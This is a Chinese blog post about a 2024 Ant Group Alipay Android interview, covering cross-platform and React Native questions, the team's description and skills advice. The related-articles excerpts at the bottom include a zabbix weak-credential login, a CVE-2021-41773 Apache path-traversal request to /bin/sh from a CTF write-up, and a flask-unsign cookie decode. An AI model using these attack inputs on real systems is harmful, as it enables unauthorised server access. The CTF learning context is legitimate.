蚂蚁集团Android一面凉经(2024)

news2024/12/23 18:39:45

蚂蚁集团Android一面凉经(2024)

蚂蚁集团

笔者作为一名双非二本毕业7年老Android, 最近面试了不少公司, 目前已告一段落, 整理一下各家的面试问题, 打算陆续发布出来, 供有缘人参考。今天给大家带来的是《蚂蚁集团Android一面凉经(2024)》。

面试职位: 蚂蚁集团-Android/iOS开发工程师-支付宝(中国)

技术一面

  • 面试形式:语音面试(其实是视频, 但双方都默契地没有打开摄像头)
  • 面试时长: 40min(提问40min + 反问10min)
  • 代码考核: 无
  • 岗位地点: 杭州市西湖区西溪路569号蚂蚁A空间

面试问题(35min)

  • 自我介绍(面试官要求着重介绍自己使用的技术栈+项目经历+解决过有深度的技术问题)
    • 跨端
    • 听上去你有RN开发的经验, 技术栈也比较偏大前端。有没有webpack、gulp的经验?
    • 写RN用js比较多还是ts比较多?
    • RN的原理
    • ReactDom->NativeDom。动态化的框架。这是它视图映射的原理, 你了解React部分的原理吗?如何实现Reactive的UI范式?
    • 说说RN的布局引擎
  • 业务组件化, 是为了解决什么样的问题, 如何实施,它的最终效果是什么?
  • 音频播放能力你有深入地了解过吗?SEQ播放解码之类的?专业领域的一些知识, 这一块你们是如何在应用中集成和实施的?
  • 你当前负责的业务要解决的核心问题是什么?你们通过什么策略在解决这些问题?
  • 你们使用的动态化方案或者市面上的其他动态化方案, 对他们去做一个对比, 说说你的理解。哪种方案最适合你们?
  • 面试官的纯感慨: 跨端这个话题看上去这么多年过去了。大家本来以为混战告一段落了, 但是现在看起来玩家反而越来越多了。这是一个反直觉的点。
  • 商业问题: 你们的app里aa、bb、cc、dd这几个业务里面, 你了解或者你认为哪些是赚钱部分?
  • 如果你手上负责的业务, 如果提一个你当下需要解决的技术问题的话, 你会尝试解决什么?
  • 看工作机会的原因。是否已定居?

反问问题(10min)

团队介绍

支付宝, 跟钱打交道的这部分。 由于支付这件事的严肃性, 互联网基建的高稳定性, 我们选择技术方案的时候也不会很激进, 不会第一时间去试线上最新的方案。 但是反过来很多时候会要求我们自研, 无论是集团内自研还是在团队内自研, 很多方案都是自研完成的。比如要将支付能力投放到所有淘系相关的场景, 肯定不能带着一个跨平台方案去, 也不能带着一个Web容器。我们会维护一个精简到xx(不方便透露具体数值)的类似RN的 动态化方案, 并且我们还要维护一套它的动态部署发布能力。如果你想把线上的所有动态方案都尝试一遍, 不一定能满足你的要求。 另一方面, 技术人是为了做什么而做技术?应该是为了商业或行业内的问题。如果你来了我们团队, 可以相对长期地在我们团队发展, 在支付行业这件事情上, 可以得到长足的深入。有时候是不是用最新的技术不是最重要的, 最重要的是把这个问题解决好。可能需要 行业知识或者一些专精的技能。这点在长期的职业规划中会更重要一些。 我们自己有跨端方案, 也需要维护。 因为鸿蒙, 我们需要更多去做c/c++的工作。我们需要一些大前端的知识, 前端工程, 前端业务, 打包工具, 发布部署等。需要广泛的技能。

你们对这个岗位的候选人, 期望有跨端的能力, c/c++的开发经验?

最看重的还是持续的学习能力。无论大前端还是c/c++, 都不是不可学习的。

刚才听你说到终端, 目前这个岗位所在团队负责的还是手机, 有其他的设备吗?

我们团队还是负责手机上的业务, 只是称呼为"终端"而已。我们大团队有其他小组负责手表、iot设备、车机等, 我们团队还是手机上的业务。
如果你有额外诉求的话, 我们也会尝试进行一些沟通。

几轮面试

对内会有1~2轮。一般是3轮, 最后一轮就是HR的面试。

总结

  • 这是我找哥们内推的岗位, 从哥们口中得知, 这位面试官是哥们的+1, 职级p8。
  • 整体面试下来, 也确实能感觉到面试官无论是技术知识(深度+广度), 还是做事原则都比我高一个level。
  • 而且面试官给人的感觉很随和, 不会用一些你没了解过的术语来呛你, 很耐心地介绍团队情况。
  • 面试该岗位需要的技能(并不一定全部满足, 但一定加分):
    • 持续学习的能力
    • C/C++
    • 前端技能
      • 语言JavaScript、TypeScript
      • 打包部署: Webpack、Gulp
    • 对业内动态化/跨端方案的了解
      • 优势/劣势
      • 渲染机制
      • 执行原理
      • 能力边界
      • 适用场景
    • 对当前负责的业务的业务指标和技术指标的持续关注
      • 了解当前业务的痛点
      • 解决痛点的手段和方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1948714.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

优秀需求缺陷管理工具推荐及选购技巧

国内外主流的10款需求缺陷管理工具对比:PingCode、Worktile、禅道、Teambition、TAPD、Trello、简道云、Jira 、Bugzilla、Asana。 在选择需求缺陷管理工具时,面对众多选项,许多人可能感到困惑。不管是初创公司还是大型企业,都需要…

N3 - Pytorch文本分类入门

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 目录 文本分类的基本流程常用的数据清洗方法如何使用jieba实现英文分词如何构建文本向量代码实践数据准备构建词典生成数据批次和迭代器模型设计模型创建模型训…

【vluhub】zabbix漏洞

介绍: zabbix是对服务器资源状态例如、内存空间、CPU、程序运行状态进行检测、设置预警值、短信设置等功能等一款开源工具。配置不当存在未授权,SQL注入漏洞 弱口令 nameadmin&passwordzabbix nameguest&password POST /index.php HTTP/1.1 Host: 192.1…

[C++实战]日期类的实现

💖💖💖欢迎来到我的博客,我是anmory💖💖💖 又和大家见面了 欢迎来到C探索系列 作为一个程序员你不能不掌握的知识 先来自我推荐一波 个人网站欢迎访问以及捐款 推荐阅读 如何低成本搭建个人网站…

软件测试--测试管理与缺陷管理

文章目录 目标重点/难点 案例引入软件测试管理定义测试组织的定义独立组织测试的优缺点 测试管理——测试计划定义测试计划的持续活动 测试管理的准则出口准则入口准则 软件测试管理 | 测试用例的管理测试用例管理的重要性测试用例管理要解决的问题如何组织测试用例如何报告测试…

关于if return的组合来实现if else效果

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 关于if return的组合来实现if else效果 前言一、if return 前言 提示:以下是本篇文章正文内容,下面案例可供参考 一、if return // 在链表中插入节点…

Apache POI-Excel入门与实战

目录 一、了解Apache POI 1.1 什么是Apache POI 1.2 为什么要使用ApaChe POI 1.3 Apache POI应用场景 1.4 Apache POI 依赖 二、Apache POI-Excel 入门案例 2.1 写入Excel文件 2.2 读取文件 四、Apache POI实战 4.1 创建一个获取天气的API 4.2高德天气请求API与响应…

vs code解决报错 (c/c++的配置环境 远端机器为Linux ubuntu)

参考链接:https://blog.csdn.net/fightfightfight/article/details/82857397 https://blog.csdn.net/m0_38055352/article/details/105375367 可以按照步骤确定那一步不对,如果一个可以就不用往下看了 目录 一、检查一下文件扩展名 二、安装扩展包并…

秒杀案例-分布式锁Redisson、synchronized、RedLock

模拟秒杀 源码地址前期准备创建数据库表导入数据dependenciespomControllerTSeckillProductTseckillProductServiceTseckillProductServiceImplTseckillProductMapperTseckillProductMapper.xml使用JMeter压力测试开始测试超卖现象原因解决办法更改数据库库存500进行JMeter压力…

linux_top命令打印结果_PID USER PR NI VIRT RES SHR S 什么意思

top命令输出结果 含义 top 命令是 Linux 和 Unix 系统中用于实时显示系统中各个进程的资源占用情况的工具。当你运行 top 命令并查看输出结果时,会看到类似下面的列(具体的列可能因 top 的版本和配置而有所不同): PID: 进程ID&a…

NSS [NSSRound#4 SWPU]ez_rce

NSS [NSSRound#4 SWPU]ez_rce CVE-2021-41773 Apache Httpd Server 路径穿越漏洞 POC: GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 Host: node4.anna.nssctf.cn:28690 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Window…

C/C++教程合集(完)

C初级教程(非常基础,适合入门)入门C语言只需一个星期(星期一)入门C语言只需一个星期(星期二)入门C语言只需一个星期(星期三)入门C语言只需一个星期(星期四)入门C语言只需一个星期&am…

NSS [NSSRound#13 Basic]flask?jwt?

NSS [NSSRound#13 Basic]flask?jwt? 开题 注册一下 要admin才能拿flag 看看是如何进行身份验证的 是flask session flask-unsign --decode --cookie .eJwtzjESwyAMBMC_UKfghJCEP-MRICZp7bjK5O9xkX6L_aR9HXE-0_Y-rnik_TXTlsiXEhUXleKGGGuG1jbmogrCEmNirZ7BEB-VJbTfIi-26hQD…

数据库实例迁移实践

背景 随着业务发展,数据库实例磁盘逐渐升高,告警频繁,且后续可能会对DDL产生影响(尤其是借助ghost等工具执行的DDL)。 该实例有多个库,则需要迁移其中的一个或几个单库到其他实例,为什么不做分…

【NPU 系列专栏 3.1 -- - NVIDIA 的 Orin 和 Altan 和 Thor 区别】

请阅读【嵌入式及芯片开发学必备专栏】 文章目录 NVIDIA Orin、Altan 和 ThorNVIDIA Orin 简介NVIDIA Orin 主要特点NVIDIA Orin 应用场景 NVIDIA Altan 简介NVIDIA Altan 主要特点NVIDIA Altan 应用场景 NVIDIA Thor 简介NVIDIA Thor 主要特点NVIDIA Thor 应用场景 与 Hopper …

CTF-NSSCTF题单[GKCTF2020]

[GKCTF 2020]CheckIN 这道题目考察:php7-gc-bypass漏洞 打开这道题目,开始以为考察反序列化,但实际并不是,这里直接用$_REQUEST传入了参数便可以利用了。这里出现了一个eval()函数,猜测考察命…

暑期C++ 缺省参数

有任何不懂的问题可以评论区留言,能力范围内都会一一回答 1.缺省参数的概念 缺省参数是是声明或定义参数时为函数的参数指定一个缺省值。在调用该函数值时,如果没有指定实参则采用该形参的缺省值,否则使用指定的实参 看了上面定义后&#…

CogVLMv2环境搭建推理测试

引子 之前写过一篇CogVLM的分享,感兴趣的移步CogVLM/CogAgent环境搭建&推理测试-CSDN博客,前一阵子,CogVLMv2横空出世,支持视频理解功能,OK,那就让我们开始吧。 一、模型介绍 CogVLM2 系列模型开源了…

基于Vision Transformer的mini_ImageNet图片分类实战

【图书推荐】《PyTorch深度学习与计算机视觉实践》-CSDN博客 PyTorch计算机视觉之Vision Transformer 整体结构-CSDN博客 mini_ImageNet数据集简介与下载 mini_ImageNet数据集节选自ImageNet数据集。ImageNet是一个非常有名的大型视觉数据集,它的建立旨在促进视觉…

旗晟机器人仪器仪表识别AI智慧算法

在当今迅猛发展的工业4.0时代,智能制造和自动化运维已然成为工业发展至关重要的核心驱动力。其中智能巡检运维系统扮演着举足轻重的角色。工业场景上不仅要对人员行为监督进行监督,对仪器仪表识别分析更是不可缺少的一个环节。那么我们说说旗晟仪器仪表识…